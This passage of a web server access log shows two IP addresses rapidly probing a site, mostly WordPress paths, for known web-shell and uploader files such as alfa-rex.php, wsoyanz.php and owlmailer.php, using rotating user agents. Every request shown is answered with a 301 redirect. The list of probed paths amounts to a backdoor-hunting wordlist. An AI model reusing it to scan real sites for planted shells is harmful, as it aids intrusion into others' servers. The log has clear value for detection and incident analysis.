AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:20 -0400] "GET /options-head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:22:21 -0400] "GET /wp-admin/includes/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:21 -0400] "GET /www.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:21 -0400] "GET /wp-admin/css/colors/blue/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:21 -0400] "GET /wp-admin/js/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:21 -0400] "GET /wp-content/plugins/elementor/wp-wyrvg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:21 -0400] "GET /uploads/owlmailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:21 -0400] "GET /revision.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:21 -0400] "GET /wp-admin/css/colors/ocean/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:21 -0400] "GET /wp-content/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:21 -0400] "GET /wp-includes/css/dist/editor/fxp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:21 -0400] "GET /css/wp-casper.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:21 -0400] "GET /wp-admin/js/pagin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:21 -0400] "GET /wp-includes/css/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:21 -0400] "GET /term.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.85 - - [23/Apr/2025:03:22:21 -0400] "GET /wp-includes/blocks/table/int/tmpl/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:21 -0400] "GET /wp-admin/network/back.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:21 -0400] "GET /wp-admin/css/colors/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:22:21 -0400] "GET /wp-includes/images/wlw/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:21 -0400] "GET /uploads/phUploader.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:21 -0400] "GET /wp-pano.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:22:21 -0400] "GET /cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:22:21 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:22:21 -0400] "GET /wp-admin/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:21 -0400] "GET /wp-includes/rest-api-stack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:21 -0400] "GET /wp-admin/maint/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:21 -0400] "GET /wp-admin/css/colors/coffee/iudate.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:21 -0400] "GET /xt/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:22:21 -0400] "GET /assets/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.85 - - [23/Apr/2025:03:22:21 -0400] "GET /wp-content/plugins/ccx/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:21 -0400] "GET /wp-includes/customize/lmfi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:21 -0400] "GET /wp-includes/Text/Diff/Engine/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:21 -0400] "GET /wsoyanzfv3.phP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:22:21 -0400] "GET /wp-includes/Text/Diff/Renderer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:21 -0400] "GET /moded.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:21 -0400] "GET /wp-content/plugins/wp-doft/noimg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:21 -0400] "GET /admin/controller/extension/extension/Not_Found.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:21 -0400] "GET /wp-admin/css/colors/ectoplasm/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:21 -0400] "GET /wp-content/plugins/shell/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:21 -0400] "GET /version.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:21 -0400] "GET /wp-admin/css/colors/blue/uploader.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:21 -0400] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:22:22 -0400] "GET /ioxi001.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:22 -0400] "GET /wp-admin/css/colors/midnight/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:22 -0400] "GET /wp-admin/css/acces.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:22 -0400] "GET /google.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:22 -0400] "GET /wp-content HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:22 -0400] "GET /images/upload-image.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:22 -0400] "GET /wp-content/themes/signify/firkon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:22 -0400] "GET /wp-admin/wp-admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:22 -0400] "GET /media-admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:22 -0400] "GET /wp-includes/css/str_replace.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:22:22 -0400] "GET /wp-includes/PHPMailer/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:22 -0400] "GET /wp-includes/dedbs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:22 -0400] "GET /upgrade.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:22 -0400] "GET /sidwso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:22 -0400] "GET /Kenneth.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:22 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:22 -0400] "GET /wp-includes/Text/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:22 -0400] "GET /wp-admin/css/colors/midnight/strcmp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:22 -0400] "GET /wp-includes/bestmailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:22 -0400] "GET /gh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:22 -0400] "GET /Rosette.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:22 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:22:22 -0400] "GET /wp-includes/IXR/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:22 -0400] "GET /wp-admin/includes/sts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:22 -0400] "GET /wp-includes/sitemaps/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:22 -0400] "GET /wp-content/upgrade/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:22 -0400] "GET /head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.85 - - [23/Apr/2025:03:22:22 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:22 -0400] "GET /beence.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:22 -0400] "GET /wp-admin/css/colors/blue/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:22 -0400] "GET /wp-includes/uploads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:22 -0400] "GET /wp-includes/sitemaps/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:22 -0400] "GET /index1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:23 -0400] "GET /wp-admin/includes/inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:23 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:23 -0400] "GET /wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:22:23 -0400] "GET /wp-admin/images/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:22:23 -0400] "GET /wp-includes/images/crystal/option.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:23 -0400] "GET /wp-includes/widgets/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:23 -0400] "GET /theme-insqbzk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:22:23 -0400] "GET /wp-admin/css/meta.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:23 -0400] "GET /service.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:22:23 -0400] "GET /wp-content/plugins/press/wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:23 -0400] "GET /wp-admin/maint/maint.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:23 -0400] "GET /wp-includes/images/smilies/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:22:23 -0400] "GET /good.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:23 -0400] "GET /wp-content/themes/pridmag/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:23 -0400] "GET /wp-admin/css/colors/blue/locale.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:22:23 -0400] "GET /app.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:22:23 -0400] "GET /wp-includes/random_compat/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:23 -0400] "GET /wp-admin/images/html.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:23 -0400] "GET /wp-includes/images/smilies/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:23 -0400] "GET /wp-admin/css/colors/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:22:23 -0400] "GET /wp-22.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:22:23 -0400] "GET /wp-admin/includes/send.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:22:23 -0400] "GET /poi.PhP8/search.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:23 -0400] "GET /style2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:23 -0400] "GET /wp-content/upgrade/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:22:23 -0400] "GET /wp-includes/server.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:23 -0400] "GET /.well-known/acme-challenge/aboudt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:23 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:23 -0400] "GET /wp-admin/js/91.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:23 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:23 -0400] "GET /brand.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:23 -0400] "GET /wp-admin/images/APLpewO.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:22:23 -0400] "GET /wp-content/upgrade/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:23 -0400] "GET /wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:22:23 -0400] "GET /wp-includes/block-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:23 -0400] "GET /wp-includes/fonts/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:24 -0400] "GET /wp-admin/js/html.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:24 -0400] "GET /wp-admin/css/colors/coffee/wp-login.php HTTP/1.1" 301 